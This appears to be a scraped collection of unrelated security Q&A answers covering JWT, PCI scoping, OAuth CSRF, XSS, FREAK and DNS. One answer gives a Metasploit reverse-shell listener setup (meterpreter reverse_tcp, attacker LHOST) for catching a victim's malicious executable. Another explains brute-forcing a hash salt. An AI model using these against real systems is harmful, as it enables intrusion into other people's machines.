Having said that, there's several reasons why JWT is superior to the method you've proposed.

Use of HMAC

HMAC addresses some weaknesses of simply hashing data + a secret key:

  For example, one might assume the same security that HMAC provides
  could be achieved with MAC = H(key ∥ message). However, this method
  suffers from a serious flaw: with most hash functions, it is easy to
  append data to the message without knowing the key and obtain another
  valid MAC ("length-extension attack"). The alternative, appending the
  key using MAC = H(message ∥ key), suffers from the problem that an
  attacker who can find a collision in the (unkeyed) hash function has a
  collision in the MAC (as two messages m1 and m2 yielding the same hash
  will provide the same start condition to the hash function before the
  appended key is hashed, hence the final hash will be the same).

http://en.wikipedia.org/wiki/Hash-based_message_authentication_code

Support for public key cryptography

To generate the MAC using SHA256 alone it is necessary for both parties to know the plain-text secret.

This is difficult to maintain securely as:

a. The secret must be stored and recoverable in plain-text format, therefore neither side can store the secret as a salted hash. This is particularly a problem for the verifying / server side in a web application who might need to store secrets for thousands of users.

b. The parties need to communicate the shared secret somehow

JWT supports RSA which is a public-key encryption system. Therefore the signing party needs to secure their private key, but the verifying party (ie. usually the server) only has to know the public key. The public key is public information so it doesn't need to be stored as securely.

Public keys are also easier to share, because it is not necessary to communicate anything that can be used to sign messages (although an attacker could substitute it for their own public key), as opposed to the method without RSA where the secret must be communicated.


Why does Windows not always force me to confirm my password when changing it?

In addition to what nobody said there's a more practical, but mostly internal, requirement here. Changing a local password in Windows without knowing the original password is called a reset. Resets cause DPAPI keys to be invalidated (because they're protected by a primary secret based on the user password). Once the reset happens those original keys are dead and cannot be decrypted because the new password doesn't match the old password.
Changing a user password requires knowledge of the original password so those DPAPI keys can be rotated safely.
Resets are, from an administrative point of view, a worst case solution for this reason. This is actually why you get the "irreversible loss" warning from lusrmgr.msc, and to do so requires local admin privileges.


How is hash used with AEAD-based ciphers in TLS?

The hash is used as part of the PRF, i.e. the function used to expand the shared secret (from the key exchange) into the encryption keys. After the handshake, it is no longer used.


Is National Insurance number considered for 2 factor authentication

No, something like National Insurance number is "something you know".

It could be considered as a factor of authentication, however not a very good one because it is often disclosed by an individual.

"Something you have" should be something that can't easily be copied. Ideally a hardware token, however recently mobile phones with authentication via SMS and smart phones with OTP's with sync'd seed keys have been considered to be "something you have", even though the SMS could be intercepted, or the OTP seed shared between devices.

This is a loose definition of the phrase, however it is usually more than adequate for most people's needs. SMS wouldn't be recommended to be used if government snooping is a threat, and OTPs in a phone application should be carefully considered if this is the case.


The communication link between the application and the DB is the issue. If the application is what you consider your CDE then the database will be in scope because it is connected to the application. Depending on your access controls and other security controls for segmentation you might be able to remove the management portal from scope (assuming it sits on a different network segment from that application. This also depends on your QSA and what they will accept.

There are 3 things to consider when evaluating segmentation for PCI:

Whether or not a system stores, processes, or transmits Cardholder data
Whether or not a system has access to a system that stores, processes or transmits cardholder data
Whether or not a system can impact the security of the CDE

A systems can only be excluded from the scope of a PCI assessment by confirming that the 3  criteria above are false.


All users can write only one can read system

You can create it in two ways: with access control or with encryption.

Access Control

You create a system where the settlers can access only a insert data page, and don't create a page to read data accessible to them. This way you have the write only system. To actually read the data, you create another page accessible only to the admin, where s/he can read all the posted data.

Pros:

Easy to create
Easy to maintain
Simple

Cons:

If the information is sensitive, a database leak can be devastating
No way to garantee the integrity of the data

Encryption

You create a system with one page to settlers, and other page for the admin. As soon as the data is posted by the settler, you encript it with a public key owned by the admin, then store the encrypted data on the database.

To read the data, the admin logs in using the special page, and gets the encrypted data in a json file, XML or csv. Then it runs the file through GPG or any other encryption software and decrypts the file.

The requirement of an external program can be solved by decrypting data locally using javascript. It's crucial to not store the private key in the server in any way.

Pros:

Very secure
Even a database leak will not compromise data

Cons:

Adds complexity
May require external programs


Is there any way to track the status of a document sent to an external entity?

There's no way to really protect any document against this kind of leak. As soon as anyone have a copy of the document, it can be altered in order to remove the protections:

print and scan
change format: pdf to text, or doc to text, or anything to image
copy and paste

Those operations can be done on an offline computer, so any beacon have no chance of working.


Is it safe to signup multiple applications with facebook?

Is it safe to signup on multiple applications with single email address? The same thing applies here too. One thing is when you sign up on other applications through social networks, your circle may get notifications of your activity. If you have privacy issues, you can set your social media settings to private. Keep your passwords and security questions strong.


Since the question has been edited to no longer reference "Two Factor Authentication", I will re-vamp my answer, but I'll leave the original below.

The idea of having a "base password" that you either append a few chars to, or "mangle" in some way to make it unique for each site is a fairly common trick that even some security experts use (until they adopt password managers at least).

So how secure is this scheme? Well, it's better than using the same password for everything, and worse than using completely different and unrelated passwords. Exactly where it falls on this line is a matter of opinion (which I'm sure other answers will provide).

My opinion is that it doesn't matter where it is on the line because you're either worried about people analyzing your leaked passwords for patterns, or you're not. The way I see it, there are two types of attacks (or "threat models") to worry about:

A "drive-by" dictionary attack by a mass cracking tool using stock dictionaries. They are usually looking to pick off the 40% of users with weak passwords - who re-use the same password from site to site, and then they'll move on to a new password leak.
You are being personally targeted - human time and computational power will be spent analyzing your previous leaked passwords looking for a pattern.

If you're only worried about 1) then you may be able to get away with a very simple mangling rule to get your password away from standard rules in off-the-shelf dictionary-based cracking tools. Even here, you're hoping that your "trick" is not popular enough that any hackers out there have added it to their rule sets. If you're worried about 2) then any sort of pattern whatsoever will eventually be figured out.

At the end of the day, "is it secure enough?" depends on your risk management and the importance of the thing you're protecting: very roughly speaking, if (probability of breach) X (value of data lost) > (level of security) then you should increase your security. If you're concerned enough about your passwords to write up a post on a site like this (and good for you!) then you should consider just using a password manager like LastPass or KeePass - they really are easy (unless you forget your super-strong master password and abandon the whole thing like I did).

Original answer:

First, some terminology:

It turns out that there's a little bit more to Two Factor Authentication than you might think on the surface. Generally speaking, there are three types of authentication mechanisms:

Something you know - information, like a password, or your mother's maiden name, or a public key stored in a key file.
Something you have - usually a physical object like the phone that can receive SMS at your number, or a One-Time-Password (OTP) token or public-key enabled smart card / USB stick:

Something you are: aka "biometric" like fingerprints, iris, voice, typing rhythm, etc.

The reason for splitting auth methods into these categories is that each one requires a very different kind of theft in order for a hacker to acquire it.

If you are required to provide a proof of identity from more than one of the above catogories, then it is properly "Two Factor Authentication", or "Multi-Factor Authentication". If you are providing multiple items from the same category, then it's called "Multi-Step Authentication", which is obviously weaker than multi-factor.

Now for your question:

So what you are proposing is not Multi-Factor. It's not even Multi-Step because at the end of it all, you're only providing one password to the login page.


Iptables DROPS SSH after port knock rules, but nmap shows it as OPEN

Well yeah problem was of course the --state NEW only allowed 1 packet to SYN, after which server replied with SYN/ACK and then iptables will drop every following packet from client.

But I didnt wanted to use -contrack for ALL connections, since Im just paranoid over performance or any exploit that could take advantage of established connections that somehow passed the rules.

So I added --state NEW,RELATED,ESABLISHED just for the last knock, and that allowed me to ssh for 20 seconds, then it will drop the connection, but during that time I would just -j ACCEPT my IP.


What are the risks of redirecting my email with Google Domains?

If any email service is processing mail, then there is a possibility that they can "read" the emails. That goes for ProtonMail, too.

The only way to avoid the risks is to have end-to-end encryption of the email content. Email has never meant to be secure from the email handling infrastructure.


How do we protect against such attacks?

This is exactly the attack scenario, the state parameter is used to protect against.

  Or are we missing something in the way we are implementing state token validation.

Yes, the key is in the details. From RFC6749:

The client MUST implement CSRF protection for its redirection URI.
This is typically accomplished by requiring any request sent to the
redirection URI endpoint to include **a value that binds the request to
the user-agent's authenticated state** (e.g., a hash of the session
cookie used to authenticate the user-agent).  The client SHOULD
**utilize the "state" request parameter to deliver this value** to the
authorization server when making an authorization request.

Once authorization has been obtained from the end-user, the
authorization server redirects the end-user's user-agent back to the
client with the required binding value contained in the "state"
parameter.  **The binding value enables the client to verify the
validity of the request by matching the binding value to the
user-agent's authenticated state**.  The binding value used for CSRF
protection MUST contain a non-guessable value (as described in
Section 10.10), and the user-agent's authenticated state (e.g.,
session cookie, HTML5 local storage) MUST be kept in a location
accessible only to the client and the user-agent (i.e., protected by
same-origin policy).

So the key is that the state value needs to be bound to the initiator user's session somehow. The RFC gives you a suggestion on how to do this.

  The OAuth client(our server) on receiving the redirect URL would validate the state token, this is because [...]

This is where the state parameter comes in. You do not exchange the access code before validating the state parameter.

You validate the state by making sure it is a value that belongs to the user who initiated this flow. In the situation you described above, this should fail as the state belongs to the attacker and the current requestor is the victim.


What is the reason for DMARC spec to not require specifically SPF or DKIM pass?

I did not find anything about this but I'm guessing that the arguments went the following way:

Both SPF and DKIM might break (forwarding, message transformation).
To increase robustness a domain should probably implement both anyway and hopefully only one will break then.
There are ways these mechanisms can accidentally fail, but there is no way for an attacker to deliberately make them falsely succeed.
Thus in the interest of robustness require only that at least one of these succeeds.

I very much doubt argument number 3 though. For a scenario where SPF might be tricked into returning Pass see this mailing list thread which actually contains a proposal to have something more strict than just SPF or DKIM. For ways to abuse DKIM by an attacker see this article (disclaimer: own research).


Secure hard drive disposal: How to erase confidential information

It looks like you are already aware of the 1st part of this question. For most purposes any non-volatile storage which may have held he data you consider sensitive should be included (solid state drives, hard drives, EPROMS, USB keys etc) but volatile memory should not. These storage devices could be in printers, fax machines, routers, switches, any computing platform.

A key prerequisite is understanding what you consider sensitive - eg the configuration of a router may need to be protected to avoid weakening network security, or devices storing personal or account data may come under DPA in the UK, or GLB or HIPAA in the US. A general rule of thumb is to look to the organisation's data classification policy as a guide and destroy data storage which comes under data protection requirements.

The in-house/outsource question could come down to just how sensitive the data is. I recently sat in an excellent presentation on data destruction in the military, where complete outsource was not an option, and complete destruction was a requirement, so the use of grinders which could take entire hard drives down to dust was approved. For many organisations who use hard disc encryption, a provider who carries out multiple overwrites to the extent that recovery is unfeasible may be sufficient. This will depend on both the level of sensitivity and the type of agent who may be trying to recover the data. If an attacker has an electron scanning microscope, they may be able to retrieve useful data off a hard disc platter which has been broken into pieces - but that is only likely to happen if the data is known to be of extremely high value.

Either way, auditable reporting of the destruction is essential - so you can evidence you received all the devices, and destroyed them, along with the destruction mechanism and final disposal details.


Protecting an account after staying logged in in a public place

Part of the problem you will face is based on how the site is designed. If you make all those changes at home, will the site force your work computer to require the user (whoever that is) to log back in before making changes? Good design says that it should, but it depends on that specific site.

If T-Mobile forces re-authentication, then you have done what you needed to do.
If T-Mobile does not force re-authentication, then someone could sit down at your computer and make their own changes even after all your work.

There is not a lot you can do to protect yourself in the second case. It then becomes a challenging customer support issue.


Given good security practices and an up to date system, does an antivirus add to security?

Even if you have a perfectly secure (i.e., unexploitable) browser, you will still want to download content from the Internet and open it in other local applications, that may not be perfectly secure. An AV is useful for scanning such downloads for malicious payloads that can attack local applications manipulating the file.

So, I would say, yes you need an AV.


Active Directory - Certificate Based Authentication - Multiple certificates for user

In the Microsoft / Active Directory world, there are several ways by which certificate-based authentication may happen, but the short answer is: yes, a user can have several certificates.

In IIS terminology, that is called "certificate mapping", with the option clientCertificateMappingAuthentication (not to be confused with iisClientCertificateMappingAuthentication). There are two methods by which a given client certificate can be mapped unto a user AD account:

The account in the AD may contain a copy of the certificate (not the private key) in its userCertificate attribute.
The AD server may extract the UPN from the validated client certificate and use that as account name.

Since the userCertificate attribute is multi-valued, it can contain several certificates, so this works with what you are looking for. The second kind of mapping can be intricate to set up (the AD server must also have a certificate of its own, and there is a complex game with the "enterprise NTAuth certificate store") but means that a virtually infinite number of certificates, not known in advance, can map to a given user account.


series of SSL errors across multiple sites -- reason for concern?

never mind, found the answer: my computer's time was incorrectly set on reboot for some reason.


Solution to allow JavaScript input but prevent XSS

https is all about encryption and ensuring server identity to prevent other people from listening to the traffic. So it does not help at all against malicious JavaScript code within the bounds of the same origin policy.

There is a flag on cookies called httpOnly which prevents simple JavaScript code on modern browser to access the cookie. But this does not fix the issue, it just makes exploits a bit less simple: The JavaScript code can directly trigger form submissions with the permissions of the current user. Since the JavaScript is on the same domain, it has access to CSRF tokens. The browser will include the cookie on the form submission without the JavaScript code needing to access it. (And there is a number of bugs around HttpOnly, for example some browser allow to read the cookie from an XMLHttpRequest object.)

Furthermore the JavaScript author may replace the current page content with "Your session has timed out, please login again" and its own login form. But the form he adds does not point to the login URL of your server but to a server he controls. Or even more subtle, there may be a cross-domain Ajax call in the event handler of the submit-button.

There is a rather simple solution in two steps:

Filter all non trusted markup, including all JavaScript. If you are using PHP, you can use HTML-Purifier. There are similar libraries for all common languages.
Provide harmless placeholders ("widgets"). So instead of letting your users embed JavaScript code directly, they must write something like
identifier
. A piece of trusted global JavaScript code can replace those code fragments with the real add code. Make sure to properly escape input parameters. This will limit your users a little in what they can do, but it is pretty easy to cover all common use cases.

It does make sense to google a bit as there are already a number of Widget libraries out there; although most of them still require JavaScript calls.


This is an known attack, Shellshock. On servers with a vulnerable bash shell, the attacker can exploit an condition that executes shell commands by sending a special crafted URL.

Basically, the attacker is scanning your server to see if it is vulnerable to it. If your server was found to be vulnerable, probably you would see a few wget/curl being sent in the URLs as well.


Patching session fixation issue on Apache server

While the official remediation recommendation from Nessus (as you like know) is to explore patching, it is likely a generic piece of advice. I would agree that there is merit in the suggestion by symcbean that the web server (Apache in your case) is potentially not the root cause, rather the code that it is serving.

There are some useful resources for identifying and employing counter measures against session fixation. The solution may require involving the development team if it is indeed the code at fault.

Lastly, consider framing the vulnerability with the assignee from a risk management perspective. The vulnerability was given a base score of 4.8/10 (Medium) severity on the Common Vulnerability Scoring System (v2). There is more to risk than the CVSS score, and further exploration is required in verifying. However, for some organizations, this falls within their risk tolerance threshold meaning they will accept the risk. In other words, they are willing to accept its impact. If it is not palatable to have code modified or rewritten, or to update the distro in order to patch the server, accepting the risk may be one consideration.


Modeling & Simulation: Do vulnerability-scanner software simulators exist?

Why don't you just set up a virtual machine, with a virtual network, and run a real vulnerability scanner inside the virtual machine?  That will generate realistic traffic: it's not a simulation, it is the real thing.


If you are using a reverse shell, you need to set LHOST with the attacker VPN IP, not your internal LAN IP. Also you need to listen locally with Metasploit to a specific port that you should set on LPORT and must be the same of msfvenom (es. 443). To achieve this you can use:

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST your_vpn_ip
set LPORT your_local_port
exploit

Then just wait the victim open your malicious executable file


Why are some people more common targets for Facebook profile impersonation than others?

Attackers are not interested in her, but rather those associated with her. It could be YOU that is the target, and she is solely being used to get to you. This is how impersonation works on the social engineering level. When I perform social engineering during penetration testing, I impersonate someone with the most solid connections to my target. For example, if my goal is to call a help-desk for a password reset, I wouldn't want to call them pretending to be a technical person, I'd pretend to be someone non-tech savvy, so I would choose perhaps a sales person - older - and I would fill the conversation with so much fluff (deflection).

So you now ask: "Why my grandmother?" Why not? Who (outside of people in the security realm) would stop to think twice about grandma, or an older individual linking up, sending a message, etc. Most would just accept, accept, accept. It's what we (most of us) do as humans, sympathize/try to be friendly.

So how do you minimize this? You can continue filing complaints, but there is little you can do to get someone to stop it from happening. Complain on Facebook enough, might minimize that attack surface, until they sprout up on say LinkedIn, or Twitter, or some other form of social media. What you CAN do if you have "the gift of gab" psychologically, is play along with it, and see what the individual wants, and use that as a warning to other family members/friends: "So this scamster pretended to be grandma. I went along with it, and he/she asked for a wire transfer... Or information about my current mortgage." Your grandmother is not the target, someone else is.


In light of the FREAK TLS vulnerability, why do so many servers still offer RSA-EXPORT keys?

While your question, why are there so many servers offering export ciphersuites, is valid, your description of the problem is in error. FREAK is:

a class of client-side bugs
exploitable due to server-side configuration.

The vulnerable devices you list are not configured to use export-grade ciphersuites, but they can be tricked into using export-grade key lengths with standard ("full-strength") ciphersuites. The scenario works like this:

Vulnerable client sends plaintext ClientHello message containing supported ciphersuites, none of which is EXPORT.
Attacker intercepts the ClientHello and replaces the ciphersuites with EXPORT ones.
The server selects one of the EXPORT ciphersuites and responds with the reduced-length export key. If the server is not configured to use EXPORT ciphersuites, then it issues a fatal alert instead, and the connection stops.
The attacker modifies the ServerHello response to replace the EXPORT ciphersuite with the non-export version, but leaves the weak key alone.
Because of the bug, the client accepts the export key and negotiates a weakened TLS connection.

There are obviously more subtleties involved, and Matthew Green does a great job of explaining them, but these are the basic facts.


Is MD5 hashing possible by divide and conquer algorithm

The classical solution is using the Merkle-Tree. To use the Merkle-Tree for uploading, the client forms the Merkle-Tree and calculates the hashes, and sends you the root hash in advance in a secure channel with a digital signature.
In the Merkle Tree, the data (chunk) can arrive at the server in random order with the sibling hashes of the path from the data to the root. The server can use the root hash and the data and sibling hashes to check that the data is valid.
This will increase the bandwidth with O(log n) where n is the number of parts. With MD5 it will be 128*log n ( The log n is used for the height of the tree).
For example for a 1GB file, with each part is 1MB and using a 32B Hash function, like SHA256, for this the client needs to store 64KB hash values and for sending a 1MB chunk with a 320KB hash data will be transmitted and the overhead of the transfer will be 0.031%
The cost of verifying for each chunk will be O(log n), and remember the Cryptographic hash functions are very fast.
and don't use MD5 it is no longer considered to be secure Cryptographic hash function, rather prefer at least SHA256 or use the Blake2 which has speed records. There are also parallel hashes like ParallelHash of SHA3 and the Blake3. This can fasten the calculations whenever the parallelization provides benefits.
For a nice and comprehensive guide to  how the Merkle-Tree works see Squeamish Ossifrage' answer on Cryptography.SE


How does google(websites) determine my location?

I think your proxy itself is revealing your actual IP address via X-Forwarded-For in request headers. This X-Forwarded-For header is used by proxies to keep track of requests and  responses.

This header reveals the full path of the request flow. So,if the request goes like client1(Browser)->proxy1->proxy2 then google.com will receive a header like  X-Forwarded-For: client1, proxy1, proxy2

To confirm that this is case you can do as below.

Listen on your server port with netcat (nc -l -p 1080)
Go to http://serverpublicip:1080 via your proxy. Make sure you allow access to this port from the internet.
The request forwarded from proxy will be printed on stdout in the terminal running netcat. Look for X-Forwarded-For Headers which is probably revealing your original IP.

Example :

root@ip-172-31-53-xx:/home/ubuntu# nc -l -p 1080
GET / HTTP/1.1
Host: serverpublicip
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Forwarded-For: MYORIGINALIP
DNT: 1
Connection: keep-alive

EDIT (After Question is Updated)

It Turns out that Google uses some persistent cookies to keep track of user (NID and PREF cookies).

So, I suggest to install Self-Destructing Cookies addon for Firefox, which clears cookies and local storage at regular intervals after tabs are closed.

Also, to get rid of Google persistent cookies follow the below instructions below after installing the addon(copied from here). I didn't copy all the steps mentioned there  as I cannot use Gmail, Youtube if i completely block cookies from Google in Firefox.

  The problem: Every time you open FF/Preferences/Privacy/Show
  Cookies/Cookies and remove the PREF or NID cookies, they reappear
  within seconds or minutes.

  To remove and prevent the persistence of the NID and PREF cookies:

  (1) In FF/Preferences/Privacy/Show Cookies/Cookies, remove all
  google.com cookies.

  (2) Go to FF/Preferences/Security,

  (3) uncheck "Block reported attack sites", and

  (4) uncheck "Block reported web forgeries".

This may slightly reduce the security a bit.But this is how to get rid of those cookies.

To make up for that,
I suggest you install NoScript (which prevent untrusted Javascript run in Browser) and Ghostery (Block and get rid of Trackers) and Adblock Plus (Block the Ads via Ad networks).

As long as you are confident of what sites you are visiting, and what programs you are downloading you are good to go.


The issue is that the code sample in the OWASP guide is not complete.   Specifically, it is missing the implementation of the master_Page_PreLoad method that it wires up in the last line of the Page_Init method.

What you would see, if that method were included (and I may go add it shortly here) is that the ViewStateUserKey value being set by the cookie is being compared to the ViewState[AntiXsrfTokenKey] value that is being submitted with the form's ViewState field.

This is what provides the CSRF protection.  You are absolutely correct that when the malicious request is submitted, it will be submitted with your cookie, which will have your anti-forgery token, and this will be set to the ViewStateUserKey value.   However, what you're not seeing, is that this is being compared to the form value that was submitted.  In a cross-site request forgery scenario, that form value is going to be the attacker's anti-forgery token; the one that was added as the viewstate to be his ViewStateUserKey, and that's not going to match the match the value that's in your cookie.  So, validation will fail, and the request will not be successful.

Given nothing but the code on the OWASP page currently, you're right to be confused.


How to access sites whose DNS server is under attack?

Before answering your question, i will explain how Internet works.

When we open a website in a browser (or through any other way), our browser first does a DNS request for that domain and then send HTTP request to the web server.

Suppose, we have typed www.stackexchange.com in our browser, then -

DNS request will go to resolver; query will be like - what is an IP address of www.stackexchange.com
If resolver doesn't have the answer (A record in our case) in its cache or if TTL has been expired, then
Resolver does the recursive query for that domain and if able to reach to authoritative servers for said domain, then resolver answer our query.
After getting the IP address of the website, browser send a HTTP request to the web-server and show the result.

Below image shows how recursive query happens in DNS --

Now comes to your question:

  If i just knew a way to access these sites without relying on the affected DNS server, I should be able to access them? Are there any methods for doing this, or is this simply not possible?

Internet in its standard format works in a way as i explained above.
Standards says, you should respect the TTL value. No standard DNS implementation (be it BIND, UNBOUND or any other) supports caching of the domain entries after expiration of TTL value.

If you really want to achieve such thing, then you have to tweak the code accordingly (I will not suggest you to do this at all; Reason is explained below).

Issues involved in not respecting TTL value -
Suppose, you have cached the IP address for a domain and you are relying on your cache, after expiration of TTL;
And domain owner changes the IP address of its domain (for any reason whatsoever);
You will keep on going to the same IP address which is there in your cache;
You will land to the OLD IP address each and every time; And you will not find any data there.

In case domain is signed (i.e., DNSSEC implementation), things will going to be really messy; if you don't respect TTL value.


This is totally dependent on your implementation details. Generally, "yes". For instance, Spring Security, a web application security infrastructure, provides a RADIUS plugin to do Auth/Auth for web applications.

If you are taking system-2-system or machine-2-machine, then again, basically "yes" again. But you will need to come up with a way (certificate, key, etc) to securely store and provide the credentials as you flow from system-2-system and out to the RADIUS server, that prevents clear text or other compromise-able storage.


What indicators did OWASP use to end up with OWASP Top 10?

As per the OWASP top ten page:

The OWASP Top Ten represents a broad consensus about what the most critical web application security flaws are. Project members include a variety of security experts from around the world who have shared their expertise to produce this list.

The updated version takes into account comment from industry and OWASP members in order to be as relevant as possible.

If you do want stats in order to help you assess a top ten relevant to you,  I presented to ISACA Scotland in October 2010 on the top seven issues small businesses could tackle.

As background to my talk, I used data from these three reports:

Verizon Data Breach Report
Krebs Java Security Report
WHID Security Report

I hope that will be of some use to you.


Disable SSL verification between isolated microservices

If you are considering routing back-end microservice traffic over HTTP, then the question you should ask are:

Who can sniff this traffic? How much effort is involved in pulling off that attack? What data will they be able to see? Does that violate your security model?
Who can intercept, modify, or spoof traffic? How much effort is involved in pulling off that attack? What data will they be able to modify? Does that violate your security model?

You mention that your microservices are running in AWS EC2 in the same network. Is this is a production quality EC2 network / VPC? What software components are running there? Is there any software components that you don't trust, for example, open source of questionable origin / quality? Which humans have ssh access to this network? If your EC2 environment is driven by strong deployment automation then maybe no people have SSH access, or only a small number of trusted admins.

Summary

It's common in cloud environments to have TLS of incoming requests to terminate at the front-end load balancer and then propogate through your backend as HTTP.

So do your security analysis, and if you decide that it's low risk to have your backend microservices communicate with each other over HTTP, then you will be using a common design pattern!

[Image source from this Medium article]


How does my ISP see information about my PC?

TL;DR - They will have remote access to the router they provided and thus they will be able to obtain such information.

Yes, this is plausible. As I am sure you're aware, your ISP will give you a router when you get an Internet Service from them, it's no secret that they have access to this router.

The ports that are on the back of the router are access ports meaning, you plug a device in and you access the network, there will be ways in which they can see the status of these ports, what's connected, etc.

I cannot tell you exactly what they're doing to see this information because I don't know the inner-workings of these types of "routers" and I don't work for your ISP. But in essence yes they will have access to that information and there isn't a whole lot you can do about it.


If "you can never trust the client", then why do companies such as Valve rely solely on client-side verification?

If so, then why do these companies not offer server side verification for video games, but rather continue to insist on trusting the client?

It's less about insisting on trusting the client and more that there is no other viable anti-cheat model. Like DRM, and in fact, anti-cheat software like PB use a form of DRM, there's little that can be done.

DRM software has mitigations in place to keep the client from poking too much, but it has to be put on the client to try to prevent the client from doing things that the media companies don't want the client doing.

Anti-cheat technology relies on similar methodology. Information about the client is gathered, sent to the server, and if a client is seen as misbehaving, through whatever series of checks are done for the specific software, it can be banned at the server.

At the end of the day, it comes down to risk management. Yes, don't trust the client is one of the first tenets of security. But for mitigating risks that occur at the client, there's a cost-benefit analysis, which is what risk management is. Is the cost of letting clients continue to bot and cheat worth losing customers who want a fair and fun game? Or should some mitigations be put in to place? PB and other software packages aren't there to entirely stop cheating, but aim to make it more expensive to cheat.

Also there is another more subtle way of limiting the clients to cheat (wall hacks,...), mostly implicated by online only games but not limited to. This is achieved by not feeding the client side all data. For example unreal engine 3 has checks if an actor is in your vicinity of visibility, if this check is positive, the server sends YOU the exact location as well as your opponent YOURS. So to say, only the server knows all positions, actions and movements of all actors on the gaming instance.

This can be read in the documentation of the unreal engine 3 / Client Server Model in the paragraph cheating, to be found here:
https://udn.epicgames.com/Three/ClientServerModel.html

So to say, with advanced engines/network code and Client Server models, it is not necessarily needed to trust the client 100%. The Server can decide beforehand what the client should know, effectively LIMITING the possibilities of hacks. To go even further, the server can decide what it SHOULD know itself, not to get distracted or confused by clients sending forged packets.


Initial requests sent over HTTP by default

FIrst request is made over HTTP then the site redirects you to the HTTPS website.
Check out this post
It says it in an example of how sites used to work:

More specifically, these are the steps for logging into the bank’s site:

You type “www.mybank.com” into the address bar and hit enter.
The browser assumes “www.mybank.com” should be requested over HTTP by default, so the initial request is unencrypted.
The server at “http://www.mybank.com” responds with an HTTP redirect to “https://www.mybank.com”
The secure connection is established, and a login page is served via HTTPS.
You enter your password and do your banking.


First of all remove all of the proposed checks.  They are relying upon attacker controlled input to impose security restrictions.  Nothing about this is "secure",  its just foolish.

Spoofing your IP address over the internet is impossible because of the 3 way handshake,  you should try studying networking it is actually pretty interesting.  Using the HTTP_FORWARDED_FOR PHP variable for security is a violation of CWE-291: Trusting Self-reported IP address.

So how do you prevent "session hijacking"?  Prevent the attacker from obtaining the session id in the first place.

OWASP A9 - Insufficent transport layer protection and OWASP A2- Cross Site Scripting.

Set these PHP session configurations:

session.cookie_httponly = 1 (helps mitigate xss)
session.session.use_only_cookies = 1 (prevents session fixation)
session.entropy_file = "/dev/urandom" (better entropy source)
session.cookie_lifetime = 0  (smaller exploitation window for xss/csrf/clickjacking...)
session.cookie_secure = 1 (owasp a9 violations)


How to force clients to browse Internet through Squid Proxy

If you set up a proxy as a filter, you should deny all requests that does not come from the proxy itself.

This will force user to go through the proxy or not having access at all.

Usually, user should not have access to the proxy configuration unless they are meant to change it.


Assuming that in many/all cases there's no requirement for individual wireless clients to communicate with each other (i.e. they only need to communicate with server devices and Ineternet sites), one option to consider for this would be Wireless Client Isolation.

This is a feature provided by some (generally more enterprise) wireless networking setups which stops clients from talking to other devices on the same VLAN apart from their default Gateway. For example this document from Cisco describes their approach.

That would work to prevent clients infecting other devices on the VLAN.  Past that you'd need to make use of standard firewalling to ensure that clients could only get to approved local server serivces and out onto the Internet, and then ensure that your servers are well patched/protected, so that if ransomware does get onto the campus you're limiting what it can affect.


RSA Key, String vs Hex vs Base64 vs byte-array represantational form

It does not matter how it is represented as long as it is a pure ASCII encoding, i.e. hex, base64, base32 or similar are all fine while pure binary is not. UTF-whatever makes no sense at all since it is not about characters but bytes.

It also does not matter where the transformation is done, i.e. backend, frontend ... . In fact, some backend applications even require ASCII encoded data, like with PEM encoded certificates or keys. But if binary is required the conversation can also be done inside the browser since HTTP by itself has no problems to transfer binary data.


How to distribute bash scripts to multiple IOT devices securely

The simple answer is that you don't.
You want your script to run at a computer not owned and controlled by you.

Law #3: If a bad guy has unrestricted physical access to your computer, it’s not your computer anymore

10 immutable laws of security
In addition, you use a shell scripting language, which by default can be read as clear text.
Microsoft has been trying to stop piracy for a few decades - throwing huge resources at the problem. Have they solved it? Nope.
I would opt for contractual protection. Tell your customers that they cannot distribute your software. If someone wants to copy it, they will likely be able to copy it, no matter what you do.
In addition I'd question the value of what you have. It may take time to make, but is it ultimately that valuable? If yes: is it possible to write a agent that ships whatever data you act upon to a backend server (controlled by you), and do the actual work on the backend? That way you'll be able to control the security (and access) of the proprietary software. All you need on the IoT-device is a agent for sending and receiving data.


How Secure is OAuth2 for Web Applications?

Usually OAuth is used by a user to give access to resource to a third party, which is the client in the OAuth framework. So in the implicit flow the user might see the access token, however they already had access to begin with so that is not a problem.

The more secure method though is to not use the implicit flow. This then gives you an access code that you have to combine with your client credentials to obtain a access token. You don't do this in the user's browser using javascript. Instead you have your server side software capture the access code and do a back channel call to the authorization server to get the access token. Now the user or any one else snooping around never actually has enough information to get your access.

So the steps are like this:

Redirect user to authorization server
User authenticates and provides consent
User is redirected to Client with access code (or error code)
Client webserver captures the access code
Client backend exchanges the access code for an access token through a direct back channel call to the authorization server (notice the user's browser is not involved here)
Client can now use the access token, and possible refresh token, to access the resources the users has provides access to.

In the steps above the user's part is done after step 3. So you don't want to be depending on the user's browser to finish running your javascript. Not only would this cause security issues as you described, but it would also make execution of steps 4, 5 and 6 uncertain and probably degrade your user experience if you require them to stick around of a long processing task. Instead you can do all that on the backend without the user needing to be involved.

If you implement OAuth correctly it can be a very secure way authorisation. But that is a big if.


How Web-proxy and Virtual-Hosting are complications for HTTPS?

Current browsers support SNI (server name indication), which sends the name of the target host inside the initial client hello. Thus it is possible to have different https servers on the same IP and current http servers support this. There are still problems with non-browsers (tools and SSL libraries or SSL interfaces in various languages). Some do use SNI by default, others need to explicitly enable SNI and some don't even support it.

I can see no problems with web proxies: the browser just does a CONNECT tunnel to the target host through the proxy and then the rest is normal https, including SNI.


The keyboard is provided as a service that is registered with the OS.  The OS then displays it when a keyboard is requested and passes the information to the application requesting it.  Most keyloggers are likely registering themselves as the keyboard provider and then displaying the previously selected keyboard and recording the result.  This is why newer versions of Android display a warning when registering a new keyboard provider.


I'm not 100% certain, but I believe that as long as you isolate the SSH system from the payment gateway you are fine.  The fact they are using the same IP outside doesn't matter since port forwarding is simply directing the traffic to two separate networks.  I believe the network separation is the important part and port routing doesn't directly impact that.


Reverse engineering of a global hash salt from known plaintext and hash

How good are your programming skills?

It would not be too difficult to write a program or script that loops over all possible salt strings, take your password "123"and try sha1($pass.$salt) and sha1($salt.$pass). If the hash that comes out matches the one in the database, then you've found your salt.

One possible problem is knowing exactly which hash function they used. You said

  they used algorithm based on sha-1

